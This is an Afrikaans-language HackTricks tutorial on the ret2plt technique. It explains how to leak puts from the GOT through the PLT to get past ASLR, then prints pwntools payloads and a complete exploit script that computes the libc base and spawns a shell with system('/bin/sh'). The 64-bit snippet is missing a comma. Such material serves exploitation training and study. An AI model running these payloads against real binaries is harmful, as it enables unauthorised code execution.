Ret2plt

Ondersteun HackTricks

Basiese Inligting

Die doel van hierdie tegniek sou wees om 'n adres van 'n funksie van die PLT te lek om ASLR te kan omseil. Dit is omdat as jy byvoorbeeld die adres van die funksie puts van die libc lek, kan jy dan bereken waar die basis van libc is en afsette bereken om ander funksies soos system te kan bereik.

Dit kan gedoen word met 'n pwntools lading soos (van hier):

# 32-bit ret2plt
payload = flat(
b'A' * padding,
elf.plt['puts'],
elf.symbols['main'],
elf.got['puts']
)

# 64-bit
payload = flat(
b'A' * padding,
POP_RDI,
elf.got['puts']
elf.plt['puts'],
elf.symbols['main']
)

Merk op hoe puts (met behulp van die adres van die PLT) geroep word met die adres van puts wat in die GOT (Global Offset Table) geleë is. Dit is omdat teen die tyd dat puts die GOT-inskrywing van puts druk, hierdie inskrywing die presiese adres van puts in die geheue sal bevat.

Merk ook op hoe die adres van main in die aanval gebruik word sodat wanneer puts sy uitvoering voltooi, die binêre kode main weer roep in plaas van om af te sluit (sodat die uitgelekte adres geldig bly).

Merk op hoe dit nodig is dat die binêre kode nie met PIE saamgestel word nie of jy moet 'n lek gevind het om PIE te omseil om die adres van die PLT, GOT en main te weet. Anders moet jy eers PIE omseil.

Jy kan 'n volledige voorbeeld van hierdie omseiling hier vind. Dit was die finale aanval van daardie voorbeeld:

from pwn import *

elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()

p.recvline()

payload = flat(
'A' * 32,
elf.plt['puts'],
elf.sym['main'],
elf.got['puts']
)

p.sendline(payload)

puts_leak = u32(p.recv(4))
p.recvlines(2)

libc.address = puts_leak - libc.sym['puts']
log.success(f'LIBC base: {hex(libc.address)}')

payload = flat(
'A' * 32,
libc.sym['system'],
libc.sym['exit'],
next(libc.search(b'/bin/sh\x00'))
)

p.sendline(payload)

p.interactive()

Ander voorbeelde & Verwysings

Last updated